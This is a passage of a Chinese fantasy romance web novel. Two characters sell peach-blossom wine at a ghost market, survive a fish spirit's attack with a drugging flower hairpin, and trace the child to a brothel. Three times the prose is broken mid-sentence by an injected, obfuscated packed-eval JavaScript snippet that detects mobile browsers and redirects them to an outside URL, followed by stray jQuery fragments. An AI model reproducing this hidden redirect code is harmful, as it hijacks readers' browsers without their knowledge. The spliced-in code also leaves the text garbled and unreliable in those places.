“我在想,我以前做事很不成功,可以说是一事无成。”迟复樱叉着腰说,“现在来到我们这间酒肆,何尝不是一种解脱,就当是度假好了。”
谢清鸣问:“你不是睡傻过,忘了过去的事吗?怎么还记得自己一事无成?”
迟复樱立刻含糊其辞道:“哦,我也稍微记得一点,只记得关于我一事无成的部分。对了,你酿的酒能开坛了没有?酿了几坛?”
谢清鸣微笑着说:“不巧,我酿酒本领不如你,只酿了一坛。”
“什么?”迟复樱爆发出一声尖锐的鸣叫,“才一坛?你这个大骗子!”
谢清鸣振振有词地说:“我身体虚弱,是个病秧子,你不能让我干重活!”
“去你的!”她扔掉木炭,双手去捉谢清鸣的胳膊,想把他拖进后院继续酿酒。谢清鸣灵活地闪开了,口中说道:“干什么干什么,要在我身上擦手么?”两人你追我赶,在前院兜起了圈子。
迟复樱大叫:“站住!”
谢清鸣突然一个急刹,转身看着她,她差点撞进他的怀里。她抬起头来,两人对视了。接着,他指着墙头说:“你不是问春天什么时候到吗?花开了。”
13. 逛鬼市
在浪花酒肆的院墙外,一树一树的桃花正悄然绽放。花枝探进了墙里,仿佛是春天向她伸来许多双手。迟复樱看呆了,只觉得以往哪一年的春花都没有此刻的花这么好。
微风徐来,天地间充满了花朵和青草的清香。冥界的春天突然来了。
不知不觉,她已经走到墙边,伸手触摸着桃花那娇柔的花瓣。正如此地的蓝色井水一样,这里的桃花是纯正而鲜亮的淡粉色,微微散发着光晕,就像画上的东西成了真。迟复樱想摘下花来酿酒,又怕糟蹋花树,一时间犹豫不决。
谢清鸣好像看出她的心思,说:“摘一朵试试,就知道了。”
虽然不知道他要知道些什么,迟复樱还是轻轻掐下来一朵花,连连跟它道歉,承诺自己就只摘这一朵,放到酒里借个味。想不到被掐断的花柄上又冒出个花苞,像小孩吹的肥皂泡似的慢慢膨胀起来,最后啪地一下绽开了,又成了一朵盛放的花。
这下迟复樱高兴得几乎头脑发晕,索性用簸箕装了足有几斤的花朵。就在花树下,迟复樱支起工作台,将花瓣全都放进坛子里,加水酿成了酒。她一边忙着,谢清鸣一边跟她有一搭没一搭地闲聊。他随意地问道:“你名字里的樱字,是指樱花吗?”
迟复樱嗯了一声,手里夹着小抄酿酒,实际思绪已然飘远。她想起上学时,每年朋友都会约她去看樱花,当然也顺带看桃花杏花。她颇为怀念地说:“从前每年春天,我们都会带着一种夹馅的多层饼,去樱花树下坐着,边吃边说话……”
谢清鸣忽然问:“你不是不记得以前的事吗?”
被他这么一说,迟复樱自己也吃了一惊,重重地放下了酒坛子。就在方才的回忆中,她不仅看见了过往的樱花,还看见了那些朋友的脸!那些具体的画面转瞬即逝,但足以让迟复樱激动不已。过去的家人朋友一定是对她很好,这种温情存留在她的血液里,否则她怎么总是心心念念想要回去?她激动地转向谢清鸣,说:“我刚才想起来一点!我想我之后总有一天能全想起来的!”
谢清鸣轻轻笑了一下:“那我猜,你还是记不清看樱花时的感觉了。不如我好人做到底,带你出门去找樱花?”
迟复樱这边刚好酿完了酒,自然一口答应了:“没问题,我们去哪找?”
谢清鸣说:“明天就是鬼市的日子,我们去那边逛逛,总能看到。”
“那太好了!”迟复樱心头狂喜,搓着双手,连声道谢,“我正好把这几坛酒带到鬼市去卖!”
谢清鸣懒洋洋地说:“小财迷。”
约定了明天一早就出发后,迟复樱又跑去问金风和韩无刃,问他们要不要一起逛鬼市。这两人去过多少次鬼市了,显然不像迟复樱这么激动,但一听说她要去卖桃花酒,就都说一起。金风提议几个人各带几坛酒,分散在鬼市各个角落贩卖,该提议获得了一致赞成。
次日清晨,四人整装待发。为了方便富贵人家的仆人采买货物,鬼市就设在繁华的上城区,距离长街有很远的路。金风和韩无刃去管隔壁店铺的熟人借马匹,谢清鸣不乐意等他们,就先带着迟复樱骑上流星,直奔上城区而去了。
这是迟复樱来到这个世界以来,第一次真正地出门远足。流星在树冠和房顶上奔驰,两侧风景飞速向后倒退。她看着那些富户大宅,只觉得目不暇接,虽然都是自己经手过的图纸,但落地成真的景象还是令人新奇。为了避免抛头露面,她戴着从金风那里借的斗笠,斗笠连着面纱。一路上为了更清楚地看风景,她就将面纱掀开了。
跑了两柱香的功夫,谢清鸣在她背后说:“到了。”迟复樱重新放下面纱,跟着他跳下马。流星不喜欢嘈杂之地,所以自行去周围的树林里休息了。两人对视一眼,并肩走进鬼市。
这片露天市场铺陈在河流和树林之间,一直绵延到天边。迟复樱看了什么都觉得很有趣,易容丸、飞行竹椅、能结出一栋房子的小树苗……但她和谢清鸣各自拎着两坛酒,还是先卖出去再空手逛街比较自在。
谢清鸣找了一片荫凉地,将酒坛往面前一放,就惬意地坐下看着周围的花。迟复樱也懒得吆喝,从袖子里掏出一个小瓷瓶,里面装的是酒水样品。拔去塞子,就是活广告,这是事先准备好的。
桃花酒的香气很足,闻着有花的清甜气味,实际喝着又会有桃子果肉的味道。就这一小瓶酒,就让一走一过的各色妖魔鬼怪为之驻足,闻个不停。有阔绰的人问了价格,直接整坛整坛地买。又有行商说自己有凡冥两界的通关文书,要进购两坛卖到凡人界,原来是专门在两界之间倒腾小百货的。结果两人带的酒竟很快就全部买完了。
迟复樱一下信心倍增,数着钱时,觉得银子的哗啦声就是最美妙的音乐。她无视了谢清鸣的嘲笑声,心里又在计谋着。
一时一话,现在她觉得如果自己能将酒业做大,或许能用资本绑架冥王。他老人家不是涉足了不少产业吗?说不定自己就能当他的上下游产业,到时和他深度捆绑一下,再求他送自己回去,这是最经济的办法。想必五木正在替她打听这件事。虽然这听起来就像一个摆地摊的突然想进军世界五百强,但她信任自己在现代社会中习得的商业知识。只要肉身尚在,就不怕没有翻身的一天。
如果不能和冥王合作,就只能出中策,伪装成谋士前去投奔,为他的买卖保驾护航,全力抵抗那两界的黑手。要是全都不行,就出下下策,趁其不备时偷袭之,直接绑了他。如此一来,资本绑架、道德绑架、武力绑架,三驾马车并驾齐驱。
“现在去逛逛?”谢清鸣站起身来,向远处一指。越过那些熙熙攘攘的摊位,迟复樱望见那边似乎有一片粉白交织的云雾。撩起面纱,才看清那是连绵的花枝,如同铺天盖地的烟霞。
她惊喜地问:“那是你说的樱花吗?”
谢清鸣说:“当然。”
迟复樱在人群里东钻西钻,不一会儿就来到花海中。谢清鸣跟在她身后,嘴里抱怨着:“跑丢了可没人带你回去!不过,你既然方位感不错,想必是记得路了?”但他嘴角却含着一丝笑容。
他在花树前踱了一会儿,挑出两朵摘下来,往她面前一送:“给。”
摊开的修长大手上,平躺着淡粉的樱花。迟复樱接过来嘴甜地说:“真好,这两朵不愧是你精挑细选的,是所有花里最标致的两朵……”其实这里的每朵花都很标致,毕竟最初是画出来的。
谢清鸣哼了一声,很高贵地说:“你怎么不戴到头上?”
迟复樱从没在头上簪过花,一时还不知怎么动手。谢清鸣从她手里拿回樱花,仔仔细细地固定在她的发髻旁。然后指着卖镜子的摊位说:“照吧,你最喜欢的镜子。”
那卖镜子的小贩立刻说:“凡界手艺人制作,我又用法术加固过,保证结实!”迟复樱对人家笑了一下,飞快地往镜子里一瞥。人花交相映,果然十分美丽。
方才卖的酒钱里,有四分之一是迟复樱的。她取出自己那份,拉着谢清鸣挨家逛着,不论是摊子还是店铺,都要过去看一眼。她买了一根新的铜质门闩,上次那根看着实在很旧了。
又心血来潮,给自己买了一把弓箭,因为她觉得将来去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468783|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和冥王较量的话,或许躲在暗处放冷箭比较好!当然不能是射死敌人的那种箭,必须是特制的针筒。到时给他扎一针迷魂药,说不定能操纵他。
转头一看,谢清鸣正举着个小瓶儿冲她挑眉毛。
“这是什么?”迟复樱笑嘻嘻地问,“你什么时候买的?是糖水吗?怎么这么少?”
谢清鸣说:“就知道吃吃喝喝。这是灵泉,买给你的。”说着就不由分说,把小瓶塞进她手里。
迟复樱拿着瓶子,惊讶地看着:“这就是灵泉药水?好小的一瓶!这得多少钱?”谢清鸣不答,只是拉着她走。她转头伸长脖子望去,这么一小瓶竟然要二十两银子,几乎令她吐血。金风曾说她知道有些药铺里卖得便宜,恐怕也便宜不了太多吧?
她讪讪地说:“我一定全部还给你,等我再攒攒钱,我分期……”
谢清鸣高昂着头,不屑地说:“谁要你还了,你给我我也不会要的。”看来是没少在冥王宫偷鸡摸狗,果真是不差钱,说不定五木仙人也是担心自己受到连累,才忙不迭把他送走。
“那怎么行,这么贵的东西,我一定要还的。”迟复樱笑呵呵地说,“现在没有整银子还你,先请你吃东西好了!”
说着就带他找了一家店,要了好酒好菜,顺便尝尝别家的酒。酒菜不值多少钱,迟复樱又问:“你平时是用什么武器的?”
谢清鸣说:“我用剑。”
迟复樱就拉着他去买武器,虽说他未必看得上这种农贸市场上卖的武器,但好歹也可以先对付用着,想来总比赤手空拳强。武器是认主的,这种东西不能去冥王宫里偷。走了半天,看见一个简陋的地摊,草席上摆着一支一支碧绿的竹子,原来是竹中剑。
迟复樱问他:“这种剑细细窄窄的,不知你用不用得惯?看起来倒是很好看,竹子很配你。”
谢清鸣微笑道:“我什么剑都会用。”
迟复樱便拉着他一支一支地看。摊主是个爽快妖,顺手拿起一支,从纤细笔直的竹筒中拔出剑来,展示给她们看。迟复樱挑花了眼,一会儿觉得这根竹子颜色更翠,一会儿又觉得那根更长,更适配他的身高。谢清鸣自己倒是不挑,只说:“你帮我选。”
最后迟复樱指着远处一根竹子说:“不纠结了,就这根吧!又青翠,又细长,是所有竹子里最平衡的一个!”
谢清鸣伸长胳膊,拿过那根竹子,突然扑哧一笑。然后他说:“好,就要这根。”
迟复樱付了钱,谢清鸣背着弓箭和竹中剑,两人说说笑笑地往前走去。
转过一道弯,忽然听见前面吵吵嚷嚷。迟复樱一抬头,正对上个熟悉的虫子面。她心里一惊,脱口而出:“税官?”
谢清鸣也看见了那群人,淡淡地说:“那帮人都是税官,每逢鬼市就会倾巢出动,过来挨家挨户收税。”一群穿着同样制服的官差正破马张飞地闹着,向商贩索要税金。幸好迟复樱两人是就地卖出了酒,没被他们看见。她担心金风她们会不会被抓住收税、再刁难一番?
好巧不巧,虫税官正好也望了过来,一下就看到了迟复樱脸上。迟复樱方才看花时撩起面纱,此后就忘了放下来,直到这时才猛地想起。虫税官又看看谢清鸣,显然认出了这两个仇人。
迟复樱一把拉住谢清鸣,匆匆往树林里去,边走边回头看着。这里不是浪花酒肆,而是税官的地盘,对他们十分不利。如果税官突然对他的同僚们说:我出半个月的工钱,你们都去帮我揍那两人。那还能有好?
她步履不停,最后一瞥,只看见税官阴毒的脸色。
14. 毒花簪
进了树林,却不见虫税官追上来。谢清鸣问:“我们一定要跑吗?”
迟复樱哈哈道:“主要是他那脸又不好看,看得人怪恶心的。”她日后要去干一票大的,现在是能躲就躲,能藏就藏,尽量不主动惹事生非。
两人又往树林深处走了很久,一直走到一片湖边的开阔地带。迟复樱说:“也许他一时半刻不过来了,这里不宜久留,咱们还是回酒肆去吧!”
好不容易逛一次鬼市,还以为能趁机收集到有关冥王的情报,结果逛了不到一小半就要打道回府,迟复樱很是沮丧。谢清鸣见状,就说:“你想接着逛的话,我们就继续,不用管他。”
迟复樱想了想,摇头说:“还是算了,反正也逛累了,不如下次再来。”下次务必要让四人都带上面纱。
谢清鸣说:“好,那就把流星叫回来。”说着吹了一声口哨,就听见林中远远地有马鸣回应。等了片刻,哒哒的马蹄声由远及近,流星从一片桃树中走出来,沿着湖边向两人缓步走来。
走到一半,白马却停住脚步,自顾自地站在湖边喝水,对他们看都不看一眼,很狂傲的感觉。迟复樱心想:这马还挺随主……
谢清鸣咳了一声,说:“我去给它喂点草料。”
迟复樱就在原地找了个大石头坐下,用斗笠扇着风。双方相隔不过半里地,彼此都能看见。
谢清鸣将买的东西都收进马背吊着的口袋里,又从另一只口袋里掏出草料喂给流星。虽然看不清是什么奇花仙草,但一看就是好料。想来白马虽然有神力,但毕竟不是妖,还是需要吃吃喝喝的。
正百无聊赖地看着,忽然听见身边有个小孩的声音叫道:“姐姐!”
迟复樱哟了一声,转头一看,是个五六岁的小女孩,梳着两个发髻,正怯生生地看着她。迟复樱放下心来,笑嘻嘻地说:“嗨!”
小女孩抬头看着她的头顶,说:“姐姐,你头上戴花真好看。”
“多谢多谢。”迟复樱笑着说,“你家大人呢?大家都去逛鬼市了,你怎么自己来这林子里了?”要是在她那个世界里,这么点小孩都可以叫她阿姨了。
小女孩从怀里掏出一支精致的花簪,说:“姐姐,我是出来卖簪子的。你喜欢簪花的话,何不戴这样的簪子呢?这是鲜花炼化的宝贝,不仅永不凋零,还能一天变一个花式。簪在鬓边,花蕊的光照在脸上,能让粉面生辉,如同敷了胭脂一般……”
迟复樱看那簪子细长光洁,顶端花苞含露,的确做工不俗,只能摇头说:“姐姐没钱,你还是问问别人吧。”
小女孩执着地说:“可是这支簪子有很多功效的,能美容养颜,能强身健体,还能防身呢……”她伸手要给迟复樱戴在头上试试。花还没挨上头发,迟复樱突然心里一跳,没来由地慌张起来,就好像直觉在提醒自己不妙似的。
她忽悠一下躲开了小孩的手,沉声说道:“不用了,我没钱的,试了也肯定不会买的,反倒给你簪子弄旧了。”
不料这个矮小的孩童一把抓住她的胳膊,力气之大,令人吃惊。迟复樱立即反手格开对方,情急之下,半边身体都迸出闪电般的蓝光。那孩子却动作极快,又一个神龙探爪,小手像钳子似的抓住她,另一只手拿着簪子往她发髻上戳来。迟复樱大力挣扎,只听身后传来谢清鸣的呼喝声:“复樱!”
迟复樱回头喊:“谢清鸣!”拉拉扯扯中,她看见谢清鸣飞也似的跑来,转眼就向她伸出手。
迟复樱想去拉他,却忽然感到那小孩猛地将她向后一拽,力气大得非同寻常。噗通一声,迟复樱随着那孩子一起跌入湖水中。
眼前一下变暗了。冰冷的水从四面八方包围上来,迟复樱还没叫出声,就结结实实地灌了几口湖水。顿时,鼻腔和气管都像灌了水银一样,窒息的恐惧感像一张网,牢牢地控制了她。她的双手还被那个小孩钳着,想要挣开,却浑身使不上劲。
哗啦一下,一簇水花在水中炸开,谢清鸣也跳下来了。看见他的那一刻,迟复樱心头一松,只觉得他是从水花中诞生的救星。
他腰腹用力,猛地一摆,像游鱼一样蹿到她面前,一手捉住那孩子的背心。磅礴的蓝色光芒从他手中炸了出来,小孩像被火烤了一样,嗖地松开手,无声地大叫起来,只喊出一串水泡。
周围水草晃动,暗流汹涌。水下更深处,无数长长的黑色手臂不停地招摇,似乎是居住湖底的水鬼。迟复樱胡乱地划着水,全身慢慢脱力,眼前逐渐变模糊了。原本闭住的气息,也不受控制地松开,水流以决堤之势灌入口鼻中。
这一刻,她眼前的人在交手过招,幼童不敌成年男子,她们的打斗应该很快,不过是一个瞬间。但她大脑中闪过的一些画面很慢,好像她脑海中的时间还很充足一样。
她看见自己坐在老家的海边。虽然生长在海滨城市,她却是个不折不扣的旱鸭子,因为父母生怕她自己跑到海里游泳,所以干脆就不让她学习这项技能。想到这里,父母的脸短暂地出现了一会儿。来这里以后,她首次想起了父母的样子,不禁浑身战栗,尽管画面一晃而过。很快,她又记不起父母的脸了。
在最后一点残存的意识里,她看见谢清鸣单手提着那个小孩,向水草中一送,水草就像蛇一样把她捆起来了。他双脚奋力踩水,猛地向她俯冲过来,带来一股水流的推力。迟复樱担心那个小孩从背后袭击他,但那孩子倏地消失了。
一条鱼从孩童的衣服里钻出来,箭也似的游走了。
谢清鸣顾不上管那只鱼精,他一手环住迟复樱的腰,另一手托住她的背。看他的嘴型,是在说着什么。再之后,迟复樱沉入了黑色的时间里。
强烈的光线刺激着眼皮,她费了很大劲,才睁开眼睛。身下是绵绵的青草,她发现自己像个无力的布偶一样躺在湖边,身旁是一堆悬空的火焰。
身上的衣服被烤干了,还盖了一件银白色的袍子。又吐了几口水,她才迟缓地侧身爬起来。她不知道自己昏迷了多久,失去意识的这段时间,就像被人一剪子剪下去了。
转头一看,不禁啊了一声,脑子倒是清醒了大半。她的眼睛差点被一片白花花的皮肉给晃瞎了。谢清鸣正一把扯下他仅剩的那件里衣,上身裸露出来。
迟复樱委顿在地,两手撑着自己,瞪眼看着这具洁白而结实的身体。深沟似的锁骨,强有力的斜方肌,大而圆的肩头,隆起的手臂,更不用说饱满的胸肌和列队的腹肌。
谢清鸣没想到她已经醒了,一时愣在原地,和她大眼瞪小眼。她想要问几句话,一张嘴,就从嘴角流出一道湖水。
谢清鸣咳了一声,别过头去,费力地压着嘴角。迟复樱又吐了几口水,才机械地问道:“你在脱衣服?”
他机械地答道:“给你脱的。”
吐出了水,迟复樱贪婪地呼吸着空气,突然一下什么都想起来了。她一跃而起,大叫道:“那个小孩!她跑了!”
“别怕,有的是办法找
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468784|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她。”谢清鸣的眉毛压了下来,使得眼睛异常冰冷,几乎深不可测,“她是鱼精,回到水下正是如鱼得水,破了我设的结界。”
迟复樱啊了一声:“难怪她能挣脱水草,水下可是她的主场。”
谢清鸣重复了一遍:“主场?”他重新穿上里外两层衣服,打个呼哨,叫来了流星。然后一手揽住她,就要把她往马背上送:“你先回酒肆去,流星会带你走天上,应该是安全的。”
“不行!我要亲自去找她!”迟复樱立刻大力扭动,“我得看看她是什么来头,这事本来和你无关,现在你已经在受我连累了!”
抓着一只在空中扭成麻花的人,谢清鸣不得不两手箍住她,沉吟道:“也好,那我们一起去,否则还真不放心你自己回去。”
为了不让他反悔,迟复樱扯着他的袍子下摆,自己被送上马背后,立刻将他拽了上来。谢清鸣从身后拥住她,忽然咦了一声,把鼻子凑到她鬓边嗅了几下。迟复樱始料未及,顿时浑身僵硬:“你在干什么?”
说着就小心地向身后转脸,对他要看不看的。谢清鸣皱着眉头,迅速将她从头到尾看了一遍,严肃地问:“你摘了梦里欢?”
“那是什么?”迟复樱茫然地说,“除了家门口的桃花,我什么都没摘过。”
谢清鸣说:“梦里欢是一种毒花,能让人神志迷乱,做出丧心病狂的事。你头发上有它的味道,我不会闻错的。”
迟复樱啊了一声,说:“刚才那个小孩拿着花簪往我头上比划,难道是梦里欢做的?可我怎么闻不出来?况且,我已经在水里折腾这么久,香味还是没有消散吗?”
谢清鸣说:“周围有各种花香,梦里欢的味道又十分幽微,你大概闻不出来。这花非常罕见,香气久久不散,我……也是在冥王宫里偶然见过。”
迟复樱心里一惊:“难道是冥王派那个小孩来坑我?难怪她说什么都要把簪子插在我头上……”最近南来北往的酒客常在木板上留下暗号和信息,有人说冥王还没有回城,所以她一时疏忽,放松了对冥王的防范。
“那倒不会。”谢清鸣慢悠悠地说,“冥王想要你的小命,还用得着派人送朵花?”
迟复樱一听,觉得有理,就说:“咱们赶快去找那小孩,这当中一定有蹊跷。再说,也不能让她再把花卖给别人!”
“恩。”谢清鸣抬起一只手,“我把湖里的东西都炸出来,问问那人的去向,你等会儿记得闭眼。”他掌心里酝酿着膨胀的光亮,手指用力曲起,竟显得凶气四射。
“那怎么行?”迟复樱觉得他不可理喻,完全没有侠义精神,真不愧是这世界的人。她说:“实不相瞒,方才我捉住那孩子的胳膊时,顺手贴了个定位小抄在她身上。”
谢清鸣哽了半天,才收起蓝光说:“你手脚真快。”
按照迟复樱的指示,谢清鸣牵引着缰绳,调转马头,向林外走去。迟复樱还在心有余悸:“难怪那东西一靠近我,我就觉得心慌。搞不好,是这家大人叫孩子卖这东西!但她自己怎么没中毒?”
谢清鸣回答道:“她给你的恐怕是花苞做的簪子,等你戴在头上,花再打开,到那时才能让你中毒。”
流星不紧不慢地小跑着,斜穿出树林。迟复樱忍不住转头问:“那我中毒以后呢?怎么个神志不清法?”
谢清鸣犹豫了一下,含糊地说:“不论男女,中毒以后都会情迷意乱,然后就像酒后乱性那样,对别人做出些什么。”
15. 万红楼
迟复樱还以为自己听错了。再次确认之后,她双目圆睁,气得心脏乱跳,破口大骂起来:“什么?这是谁发明的东西?这么卑鄙无耻!别让我看见他,抓到弄死!”骂了一阵,又觉得不可思议,不禁问道:“这东西难道会让我变了一个人吗?我从没跟人好过,手都没拉过,也会酒后乱性吗?可我都不会啊,我怎么乱性?”
谢清鸣恼怒地说:“我怎么知道,难道我跟人好过?快别问了。”
伴随着迟复樱对施毒者的咒骂,流星驮着两人重新回到鬼市边缘。远远望去,人群挨挨挤挤,马匹走得很慢,而流星的品相又如此出类拔萃。
迟谢清鸣大概也意识到两人招摇过市,就在她耳边说:“坐稳。”迟复樱抓紧了马鬃,感到他拥着自己的双臂微微收紧了。肩膀上突然探出个脑袋,原来是谢清鸣越过她对流星说:“走天上。”
流星原地跺了几下蹄子,做跃跃欲试状。接着人立而起,两个后蹄一蹬,瞬间飞上了天。迟复樱连忙说:“我们别太惹眼……”话没说完,发现流星连带着自己都渐渐变成了半透明状。低头看看谢清鸣的手臂,也跟磨砂玻璃一样。只听谢清鸣在她耳边说:“我用了隐形的法术。”
白马凌空疾驰,迟复樱伸手指点着:“往那边,过了那片湖面看看。”从高空往下看,人群都像一寸大的玩偶一般,肉眼无法看清人脸。迟复樱心中思绪万千,一会儿想要复仇,一会儿又想,这是不是这个世界给自己的暗示?摆平投毒者,莫非也是回家的一环?
她从怀中掏出一张泡过又风干的纸条,紧紧握在手里,解释道:“这是小抄的另一半,两张彼此有磁力相吸引。幸好我前两天闲着没事时,琢磨出这个玩法……”
须臾之间,二人一马已飞过水面。这个早熟的鱼精显然是以迂回的路线逃跑,折来折去地追了半天,迟复樱忽然感到手中纸条的震动频率升高,便叫道:“就是这里!”待到流星重新踏上地面,两人看着眼前的院落,却有些傻眼。
那招牌上赫然写着:万红楼。不须踏入院子,就能听见里面传出隐隐的歌舞声。几个男子正阔气地撩起袍子下摆,迈入高高的门槛,老鸨挥动着手帕前来迎接。这些男子有的摇着金箔扇子,有的竟把一串灵泉药水当成装饰,挂在腰间,看得迟复樱差点想顺走几瓶。
看谢清鸣的表情,迟复樱就知道自己脸上也不会太舒展。一个五六岁的女童,怎么会进妓院?
无论如何,只能进去一探究竟。迟复樱一打手势,谢清鸣心领神会,在她手臂上一握,两人便彻底隐去了身形,只有彼此能看见对方。流星照例被留在原地,迟复樱带着谢清鸣进了院门。
手里的纸条益发躁动起来,迟复樱知道那孩子一定就藏在这妓院里。两人摸进楼去,一踏进大堂,顿时坠入靡靡之音里。入目尽是桃红柳绿,金钗羽衣。女子们或是轻歌曼舞,或是款款举杯,面对着装模作样的公子哥,看不出脸上是喜是悲。迟复樱皱着眉毛,小心地穿梭其中,总觉得这里的磁场灰暗而混乱,她们的嘴唇在笑,眼睛却都很凌厉、冰冷。她心想谁会真心乐意做这个?如果将来酒肆做大了,倒是可以问问这些女子愿不愿意来做工!
谢清鸣也皱着眉头,紧挨着迟复樱走,几乎像是在玩两人三足。找了半天,连后院里套着的几处小院子都找过了,却迟迟不见那个女童。迟复樱踮脚对谢清鸣耳语道:“楼上的房间都还没找过,看来只能去挨间搜。”
谢清鸣满脸恶寒:“你知道那些房间是用来做什么的吗?”
“我怎么不知道?”迟复樱硬着头皮说,“我先声明,我没有旁观这类场景的癖好。”不等谢清鸣再反驳,她拉起他的胳膊,躲避着周围伸胳膊撂腿的醉汉,悄无声息地上了楼。
可惜趴在门缝上一看,才发现每扇房门都施了障目隔音的法术,还用加了一道结界作为屏障。毕竟,连浪花酒肆的破楼都会使用隔音法术,更不用说这家位于上城区的高档妓院。房里的人可以听见外面的动静,外面却不能偷窥里面,要想进去只能大动干戈、破开层层障碍。
谢清鸣默默一拉她,带着她从走廊尽头的窗户翻上了房顶。迟复樱蹲在房檐上,眼看着他使了个倒挂金钩,将上身探向一间房间的窗前。很快,他中段一挺,人便卷了回来,摇头说:“能看见里面,但从里面上了锁门咒,只能撞开。”
迟复樱说:“我们先从窗缝里看看,找到她再说。”
谢清鸣一点头,在房檐上挨间察看,迟复樱见他不停地做这种卷腹运动,就主动说:“你腹部肌肉酸吗?”
肉眼可见地,谢清鸣耳根发红,嘀咕道:“你往哪看呢?”
迟复樱委婉地催促道:“如果没那么酸的话,恐怕要加把劲了,我们已经卡在这里太久了。”谢清鸣不再理她,束紧的劲瘦腰身再度发力,上身一个后仰,又扎了下去。这回他一跃而起,低声说:“在这间,她在等人。”
迟复樱很高兴地说:“那正好,我们还没错过什么!”说着自己也使了个倒挂金钩,从窗缝里偷看着。那个小女孩独自坐在屋子中央的茶桌边,不知在低头合计什么。谢清鸣倒挂下来,扭头看着她说:“你也会这招?那你还让我一个人挨个看?”
迟复樱说:“我嫌累,还是让你来比较好。”接着一拉谢清鸣,两人齐齐折回房顶。
户外充满了风声和鸟鸣,想听清屋里的说话声十分困难。迟复樱觉得来都来了,不能光看嘴型,还是耳听为实。她向走廊那扇窗户指了指,说:“我们回去,你现出形来,想办法把房里的人闹出来!然后我趁着她开门时钻进去,你别进来。”
“那怎么行?”谢清鸣好像在听天方夜谭,“谁知道一会儿要来什么人,万一你不是他们对手呢?这里诡异得很,你别自己跑。你想,什么女童会出现在这种地方?这里面一定有蹊跷。”
她坚持道:“我进去有点事,你别过来,我自有安排。你就在房顶上挂着,万一看见我有危险,你砸窗户跳进来就行了。”说完,就像一只矫健的兔子一样蹿回走廊中。谢清鸣紧紧跟着她,质问道:“你进去有什么事?你不会是怕麻烦我吧?我要跟你一起进。”
两人轻轻走到那间屋子的门前,迟复樱严肃地说:“你听不听我的?”
谢清鸣不情愿地说:“听你的,你是浪花大王。”
迟复樱推着他说:“那你快现形。”谢清鸣还在放赖,迟复樱从怀里掏出小瓶,威胁道:“你不听,我就喝了这杯灵泉药水,帮你把隐身术解了。以后到了关键时候,我可就没得喝了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468785|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谢清鸣翻着白眼看天,说:“真服了你了。”他现出原形,往楼梯口走去,站定后回头看着迟复樱。迟复樱已经紧贴着房门埋伏好,对他点了点头。
走廊里明明没有人,谢清鸣还是左右看看,浑身一副不自在的样子。他虽然是个鸡鸣狗盗之徒,但大概还没干过大闹妓院的没脸事,一时间别别扭扭的放不开。迟复樱频频向他挥手,示意他抓紧时间。
他一咬牙,闭着眼睛大喊起来:“来人!老鸨呢?出来答话!”迟复樱差点笑出声来,她第一次听见有人当面把老鸨叫做老鸨。
攥着手绢的老鸨,慌慌张张地奔上了楼梯。谢清鸣叉腰站着,脸红脖子粗地喊道:“我要那个房间!叫里面的人腾出来给我!”他一只手指向那小孩的房门。
老鸨诧异地看着这个年轻人,一惊一乍地说:“这位公子是什么时候进来的?我怎么没看见您?”
谢清鸣不接茬,大步走到迟复樱埋伏着的门边,大声说:“我要这间房!还不快清出来!”那做派十分土匪,或许是参考了虫税官的特点来进行表演。迟复樱偷着戳了他小腿肚一下,他吭了一声,脸更红了。
老鸨用看傻子的眼光看着他,飞速扫过他马尾上的玉环和精良的衣料,不痛不痒地说:“公子何必非要这间房?我们这里有不少姑娘,您喜欢哪位,就请去姑娘房里坐坐。上等的有……”
不等她说完,谢清鸣冷着脸掏出一块金子,抛起来又接住,眼睛根本不看老鸨。老鸨的目光在金子上流连忘返,但还是怀疑地问:“公子怎么一定要进这间?”
谢清鸣暴躁地吼道:“我就要窗外有树的,快给我这间!”羞耻的感觉令他胖头涨脑,额角的青筋都爆出来了。他这一出动静闹得很大,终于,房门吱呀一下打开了,那个小孩露出脸,怯怯地察看着门外的动静。
老鸨急忙说:“公子,您看,这间房里没有姑娘住,陈设也没什么特别的。这孩子是我们收养的小仆,正在打扫呢。您不如移步这边,我给您好好找几位头牌……”说着将门推得更开了,向谢清鸣展示屋里的布局。
谢清鸣要求道:“让我好好看看。”那孩子只得让开。借着这个空档,迟复樱侧着身,拼命吸气收腹,挤进了门里。她分外小心,没让身体碰到那个小孩。
谢清鸣目光如刀,向屋里扫视一周,里面果然没有别人。他背着手说:“行了,你先下去吧。我要亲自在这里逛逛。”
老鸨的表情很明显在说这人是个缺心眼的,没来过风月场所,还人菜瘾大。但她实在想要那块金子,就陪笑着说:“哪有在楼上逛的,楼下的歌舞才好看呢。”谢清鸣不耐烦地挥手,她只能悻悻地转身下楼了。
